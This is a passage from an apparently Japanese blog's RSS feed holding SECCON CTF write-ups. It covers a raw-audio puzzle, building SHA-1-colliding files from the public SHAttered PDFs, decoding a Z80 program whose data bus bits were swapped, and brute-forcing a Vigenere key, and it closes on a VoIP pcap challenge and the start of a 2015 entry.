&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000a0 cdcf d7cf ddd5 dfdf e7e5 ede7 efed f5f5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000b0 fff7 fffd 0507 0f0d 150f 1717 1d1d 271f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000c0 2726 2f2e 3636 3e37 3e3f 4746 4f46 4f4e
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000d0 5657 5e57 665f 6766 6f6e 776e 7677 7f7f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000e0 877f 8787 8f8f 9797 9f97 9f9f a7a7 afa7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;00000f0 afaf b7b7 bfb7 c7bf c7c7 cfcf d7cf dedc
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000100 dcd9 eadf efed edea fbf8 f8fe fefb 0c09
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000110 090e 0f0c 1d1a 1a1f 281d 2e2b 2b28 392f
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000120 3f3d 3d39 4b3f 494d 4d4b 5b59 595f 5f5b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000130 6d69 696f 6f6d 7d7b 7b79 897d 8f8b 8b8b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000140 9b8e 9f9e 9e9a aa9f aaaf afab bbba bbbe
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000150 bebe cecb cacf cfce dfda dbda eadf efeb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000160 efeb fbef ffff fffb 0bff 0b0f 0f0b 1b1b
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;　　　　:
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;もしやと思い、このデータをaplayに流し込んでみたら・・・・。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ aplay output.bin Playing raw data &amp;#39;output.bin&amp;#39; : Unsigned 8 bit, Rate 8000 Hz, Mono
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;有名な映画音楽が流れてきました。&lt;/p&gt;
&lt;p&gt;この問題は５分もかからなかったかもしれません。&lt;/p&gt;
&lt;h2 id="sha-1-is-deadcrypto-100点"&gt;SHA-1 is dead(Crypto) 100点
&lt;/h2&gt;&lt;p&gt;これは以下の条件のファイルを作れという問題です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file1 != file2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SHA1(file1) == SHA1(file2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SHA256(file1) &amp;lt;&amp;gt; SHA256(file2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2017KiB &amp;lt; sizeof(file1) &amp;lt; 2018KiB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;2017KiB &amp;lt; sizeof(file2) &amp;lt; 2018KiB
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;* 1KiB = 1024 bytes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;SHA-1が破られたということで話題になりました。まずはその記事を確認です。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://shattered.it" target="_blank" rel="noopener"
 &gt;https://shattered.it&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;ここに載っている2つのPDFがSHA-1が同じだけど、中身が違うサンプルファイルです。&lt;/p&gt;
&lt;p&gt;でもこのファイルは大きさが小さいです。どうしようかなと思っていたところで、次のスライドを見つけました。&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.slideshare.net/herumi/googlesha1" target="_blank" rel="noopener"
 &gt;https://www.slideshare.net/herumi/googlesha1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;なんと、違っているのは前半の一部分ということなので、先ほどのPDFファイルに適当なデータをくっつけてサイズを合わせれば良いことになります。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cat sha2.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;int main(){
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; char a;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; for (int i = 1; i &amp;lt; 2018*1024-1 ; i++){
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; putchar(getchar());
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ./sha2 &amp;lt; shattered-1.pdf &amp;gt; a1.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ./sha2 &amp;lt; shattered-2.pdf &amp;gt; a2.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ls -l a?.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-rw-r-- 1 ocha ocha 2066430 Dec 10 08:27 a1.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;-rw-rw-r-- 1 ocha ocha 2066430 Dec 10 08:28 a2.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cmp -b a1.pdf a2.pdf
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;a1.pdf a2.pdf differ: byte 193, line 8 is 163 s 177 ^?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cat a1.pdf | openssl sha1(stdin)= b4e859a1c9d68d2dae07b02e3d8a1bbb77fe5bff
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cat a2.pdf | openssl sha1(stdin)= b4e859a1c9d68d2dae07b02e3d8a1bbb77fe5bff
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cat a1.pdf | openssl sha256(stdin)= d8109bf9bc8dc0960b8650b4ac96223fab268a47b40d32a295dd8121dc142752
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cat a2.pdf | openssl sha256(stdin)= 86021f60a9a82dc1e617b2157fdf63fe04d1c83d7a19dbc29f2fa4c4b4f17b8b
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;できたファイルをアップロードしてフラグが取れました。&lt;/p&gt;
&lt;h2 id="z80binary-300点"&gt;z80(Binary) 300点
&lt;/h2&gt;&lt;p&gt;これはz80ファンとしては解かねばいうことで時間をかけて取り組みました。&lt;/p&gt;
&lt;p&gt;JPEGの写真がたくさん入っていて、Z-80 CPUとArduino Megaが接続されたハードウェアが360度の方向から写っていました。Z-80の周辺デバイスとしてArduino Megaを使うもののようです。&lt;/p&gt;
&lt;p&gt;この問題のハードウェアの写真をまとめてビデオにしてみました。&lt;/p&gt;
&lt;div class="video-wrapper"&gt;
 &lt;iframe loading="lazy" 
 src="https://www.youtube.com/embed/an2iK-qTb2M" 
 allowfullscreen 
 title="YouTube Video"
 &gt;
 &lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;※SECCON様から掲載許可をいただきました。ありがとうございます。&lt;/p&gt;
&lt;p&gt;Arduinoのソースをみると、実行コードらしい16進数が組み込まれていましたが、どうもZ80ぽくない数値です。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;static unsigned char mem[memsize] = {
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x22, 0x47, 0x00, 0x3d, 0x53, 0x77, 0x23, 0x3d, 0x45, 0x77, 0x23, 0x3d, 0x43,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x77, 0x23, 0x77, 0x23, 0xc5, 0x0c, 0x77, 0x23, 0xc5, 0xfd, 0x77, 0x23, 0x3d,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x7b, 0x77, 0x23, 0x39, 0x44, 0x00, 0x47, 0xc5, 0x46, 0x31, 0x44, 0x00, 0x78,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x31, 0x46, 0x00, 0xfd, 0x22, 0xf9, 0x1e, 0x00, 0xfd, 0x7b, 0xf1, 0x1e, 0x00,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x77, 0x23, 0x39, 0x45, 0x00, 0x3e, 0x31, 0x45, 0x00, 0xc1, 0x1e, 0x00, 0x3d,
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 0x7d, 0x77, 0x75, 0x03, 0x0b, 0x09, };
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;多分、データバスもしくはアドレスバスの接続がわざと変えてあるのだろうと推測し、たくさんある写真を見比べたところ、データバスのD0とD1が逆に接続されているように見えました。そこで、Arduinoのソースにある16進数の下位2ビットを入れ替えてみると、見慣れたZ80の機械語がでてきました。21 xx xxとか 3E xx は一番多く使うものだと思います。&lt;/p&gt;
&lt;p&gt;変換プログラムを作ってもよかったのですが、コードが短いので手で置き換えてZ80アセンブラのソースコードを作りました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0000 0x22, 0x47, 0x00 21 47 00 LD HL,0x0047
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0003 0x3d, 0x53 3E 53 LD A,&amp;#39;S&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0005 0x77 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0006 0x23, 23 INC HL 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0007 0x3d, 0x45 3E 45 LD A,&amp;#39;E&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0009 0x77 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;000a 0x23 23 INC HL 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;000b 0x3d, 0x43, 3E 43 LD A,&amp;#39;C&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;000d 0x77 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;000e 0x23 23 INC HL 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;000f 0x77 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0010 0x23, 23 INC HL 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0011 0xc5, 0x0c C6 0C ADD A,0x0c 0x43+0xc = 0x4f = &amp;#39;O&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0013 0x77 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0014 0x23 23 INC HL 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0015 0xc5, 0xfd C6 FE ADD A,0xfe 0x4f+0xfe = 0x14d = 4d = 下位2ビット入替 = 4E = &amp;#39;N&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0017 0x77 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0018 0x23, 23 INC HL 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0019 0x3d, 0x7b 3E 7B LD A,&amp;#39;{&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;001b 0x77 　 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;001c 0x23 23 INC HL 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;001d 0x39, 0x44, 0x00 3A 44 00 LOOP1: LD A,(0x0044) A &amp;lt;= 0x03 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0020 0x47, 47 LD B,A B &amp;lt;= 0x03 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0021 0xc5, 0x46 C6 45 ADD A,0x45 A &amp;lt;= 0x45 + 0x03 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0023 0x31, 0x44, 0x00 32 44 00 LD (0x0044),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0026 0x78, 78 LD A,B 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0027 0x31, 0x46, 0x00, 32 45 00 LD (0x0045),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;002a 0xfd, 0x22, FE 21 CP 0x21 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;002c 0xf9, 0x1e, 0x00, FA 1D 00 JP M,LOOP1 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;002f 0xfd, 0x7b FE 7B CP 0x7B 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0031 0xf1, 0x1e, 0x00 F2 1D 00 JP P,LOOP1 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0034 0x77 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0035 0x23 23 INC HL 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0036 0x39, 0x45, 0x00, 3A 46 00 LD A,(0x0046) 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0039 0x3e, 3D DEC A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;003a 0x31, 0x45, 0x00, 32 46 00 LD (0x0046),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;003d 0xc1, 0x1e, 0x00, C2 1D 00 JP NZ,LOOP1 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0040 0x3d, 0x7d 3E 7E LD A,0x7e 　　　 下位2ビット入替で7E -&amp;gt; 7D = &amp;#39;}&amp;#39; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0042 0x77 77 LD (HL),A 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0043 0x75, 76 HALT 停止（さすが！） 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0044 0x03 03 DB 0x03 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0045 0x0b 0B DB 0x0b 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0046 0x09, 0A DB 0x0a
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;ソースコードの最初を見てみると、フラグの頭文字の&amp;quot;SECCON{&amp;ldquo;をメモリに書き込んでいることがわかります。書き込むときも下位２ビットを入れ替えることになります。肝心なフラグの部分は条件判断やループを使っていたので、その部分だけ簡単なプログラムを作りフラグを求めました。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ cat z80.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#include 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;int main(){
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; char x0044 = 0x03; // 00000011
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; char x0045 = 0x0b; // 00001011
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; char x0046 = 0x0a; // 00001001 =&amp;gt; 00001010
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; char a;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; char b;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; int hl = 0;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; loop1:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; a = x0044;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; b = a;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; a = a + 0x45;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; x0044 = a;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; a = b;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; x0045 = a;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if (a &amp;lt; 0x21) goto loop1;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if (a &amp;gt;= 0x7b) goto loop1;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; printf(&amp;#34;0x%02x - %c\n&amp;#34;,a,a);
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; hl = hl + 1;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; a = x0046;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; a = a - 1;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; x0046 = a;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; if (a != 0) goto loop1;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ ./a.out
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x48 - H
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x5c - \
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x2b - +
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x70 - p
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x3f - ?
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x53 - S
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x22 - &amp;#34; →下位2ビットを入れ替えて 0x21 !
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x67 - g
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x36 - 6 →下位2ビットを入れ替えて 0x35 5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;0x4a - J →下位2ビットを入れ替えて 0x49 I
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;これでフラグがとれました。ちなみに下位ビットの入れ替えはmacOSの標準アプリの「計算機」で確認しながら行いました。&lt;/p&gt;
&lt;p&gt;この問題はデータバスの２本だけが入れ替わっていたのが救いでした。アドレスバスも入れ替わっていたら追いきれませんので。&lt;/p&gt;
&lt;h2 id="thank-you-for-playingthank-you-100点"&gt;Thank you for playing!(Thank you!) 100点
&lt;/h2&gt;&lt;p&gt;z80が終わって一息ついて次は何をやろうかなと思っていたら一番最後にこのボーナス問題がありました。フラグをそのまま入力して100点取りました。&lt;/p&gt;
&lt;h2 id="総評"&gt;総評
&lt;/h2&gt;&lt;p&gt;今回は初めて100点以外の問題が解けました。Z80＋Arduinoという楽しい問題をありがとうございました。また終盤に公開されたボーナス問題もありがたかったです。また来年もできる範囲で参加したいと思います。運営の皆様ありがとうございました。&lt;/p&gt;</description></item><item><title>SECCON 2016 Online CTFのWrite-upをまとめました</title><link>https://kanpapa.com/2016/12/seccon-ctf-2016-online-write-up.html</link><pubDate>Sun, 11 Dec 2016 00:00:00 +0000</pubDate><guid>https://kanpapa.com/2016/12/seccon-ctf-2016-online-write-up.html</guid><description>&lt;img src="https://kanpapa.com/2016/12/seccon-ctf-2016-online-write-up/images/ctf_voip.png" alt="Featured image of post SECCON 2016 Online CTFのWrite-upをまとめました" /&gt;&lt;p&gt;SECCON 2016 オンラインCTFに参加しました。&lt;br&gt;
&lt;a class="link" href="https://kanpapa.com/2015/12/seccon-ctf-2015-online-write-up.html" title="SECCON CTF 2015"
 target="_blank" rel="noopener"
 &gt;前回&lt;/a&gt;同様一人チームでのんびり取り組みましたが、今回は前回までとは違って難易度がかなり高くなったと感じました。誰でも解ける練習用問題もありませんでしたし・・・。&lt;br&gt;
結局解いた問題は２つだけです。合計で200点獲得できました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vigenere (Crypto) 100点 777人が回答済&lt;/li&gt;
&lt;li&gt;VoIP (Forensics) 100点 733人が回答済&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;忘れないうちにWrite-upを書いておきました。&lt;/p&gt;
&lt;h2 id="vigenere-crypto-100点"&gt;Vigenere (Crypto) 100点
&lt;/h2&gt;&lt;p&gt;Vigenereとは&lt;a class="link" href="https://ja.wikipedia.org/wiki/%E3%83%B4%E3%82%A3%E3%82%B8%E3%83%A5%E3%83%8D%E3%83%AB%E6%9A%97%E5%8F%B7" title="ヴィジュネル暗号"
 target="_blank" rel="noopener"
 &gt;ヴィジュネル暗号&lt;/a&gt;のことで、暗号表と鍵を組み合わせて使う暗号のようです。&lt;br&gt;
このような古典的な暗号の場合は、解読ツールがいろいろあるので探してみましたが、今回のSECCON問題ではフラグに含まれる{}が暗号表に含まれているのでそのままでは使えませんでした。&lt;/p&gt;
&lt;p&gt;ただ問題の中に鍵の長さは12文字であること、途中まで平文と暗号文が対応していたので、その部分と暗号表を照らし合わせて鍵の頭の文字はVIGENERであることがわかりました。あと５文字の鍵を見つけなければなりません。この場合はプログラムを書いて総当たりでキーを作って試していくしかありません。フラグのMD5ハッシュ値がありますので、作成した平文をこのハッシュ値と付き合わせればいいでしょう。&lt;/p&gt;
&lt;p&gt;結局慣れているCでプログラムを書きました。急いで作ったので汚いプログラムですが、ソースファイルは&lt;a class="link" href="https://github.com/kanpapa/ctf/blob/master/v.c" title="v.c"
 target="_blank" rel="noopener"
 &gt;github&lt;/a&gt;に入れておきました。コンパイルはcc v.c -lcryptoで行なってください。&lt;/p&gt;
&lt;p&gt;このプログラムを動かして、無事フラグを取ることができました。&lt;/p&gt;
&lt;p&gt;&lt;img alt="seccon_ctf_vigener.png" class="gallery-image" data-flex-basis="944px" data-flex-grow="393" height="215" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2016/12/seccon-ctf-2016-online-write-up/images/seccon_ctf_vigener.png" width="846"&gt;&lt;/p&gt;
&lt;h2 id="voip-forensics-100点"&gt;VoIP (Forensics) 100点
&lt;/h2&gt;&lt;p&gt;これはpcapが添付されていましたので、WireSharkで読み込みました。VoIPなのでツールバーの「VoIP通話」を選ぶと、ストリームを再生することができました。&lt;/p&gt;
&lt;p&gt;&lt;img alt="ctf_voip.png" class="gallery-image" data-flex-basis="421px" data-flex-grow="175" height="364" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://kanpapa.com/2016/12/seccon-ctf-2016-online-write-up/images/ctf_voip.png" width="640"&gt;&lt;/p&gt;
&lt;p&gt;聞き取りにくい声ですが、フラグを教えてくれているようです。SECCON{9001???}と聞き取れたのですが、数字の後の３文字がなかなか聞き取れません。これかなと思ったアルファベットを組み合わせて入力しても回答が一致しません。この手の問題であればランダムな英字３文字をフラグにするというのは無いように思います。意味のある英字３文字・・・あ、そういえばこの音声って自動音声応答装置だよなぁ・・「IVR」だ！　ということで無事フラグが取れました。こういう発想もSECCONには必要なんですよね。&lt;/p&gt;
&lt;h2 id="総評"&gt;総評
&lt;/h2&gt;&lt;p&gt;今回が４回目のSECCON CTFですが、合計200点ということで残念な結果となりました。&lt;br&gt;
他の問題も手をつけてみたもののなかなか先にすすめず、やはりチームでないと厳しいですね。&lt;br&gt;
まあ、SECCONは国際大会なのでレベルが高くなるのはやむを得ませんが・・。&lt;br&gt;
他の参加者の皆様のWrite-Upを参考にして次回に備えたいと思います。&lt;br&gt;
運営の皆様もお疲れさまでした。&lt;/p&gt;</description></item><item><title>SECCON 2015 Online CTFのWrite-upをまとめました</title><link>https://kanpapa.com/2015/12/seccon-ctf-2015-online-write-up.html</link><pubDate>Sun, 06 Dec 2015 00:00:00 +0000</pubDate><guid>https://kanpapa.com/2015/12/seccon-ctf-2015-online-write-up.html</guid><description>&lt;img src="https://kanpapa.com/2015/12/seccon-ctf-2015-online-write-up/images/entry_form1.png" alt="Featured image of post SECCON 2015 Online CTFのWrite-upをまとめました" /&gt;&lt;p&gt;SECCON 2015 オンラインCTFに参加しました。&lt;/p&gt;
&lt;p&gt;解いた問題は以下の７つの問題です。合計で600点獲得できました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start SECCON CTF (Exercises) 50点&lt;/li&gt;
&lt;li&gt;Unzip the file (Crypto) 100点&lt;/li&gt;
&lt;li&gt;Connect the server (Web/Network) 100点&lt;/li&gt;
&lt;li&gt;Command-Line Quiz (Unknown) 100点&lt;/li&gt;
&lt;li&gt;Entry form (Web/Network) 100点&lt;/li&gt;
&lt;li&gt;Steganography 1 (Stegano) 100点&lt;/li&gt;
&lt;li&gt;Last Challenge (Thank you for playing) (Exercises) 50点&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;忘れないうちにWrite-upを書いておきました。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Start SECCON CTF (Exercises) 50点&lt;/strong&gt;&lt;/p&gt;
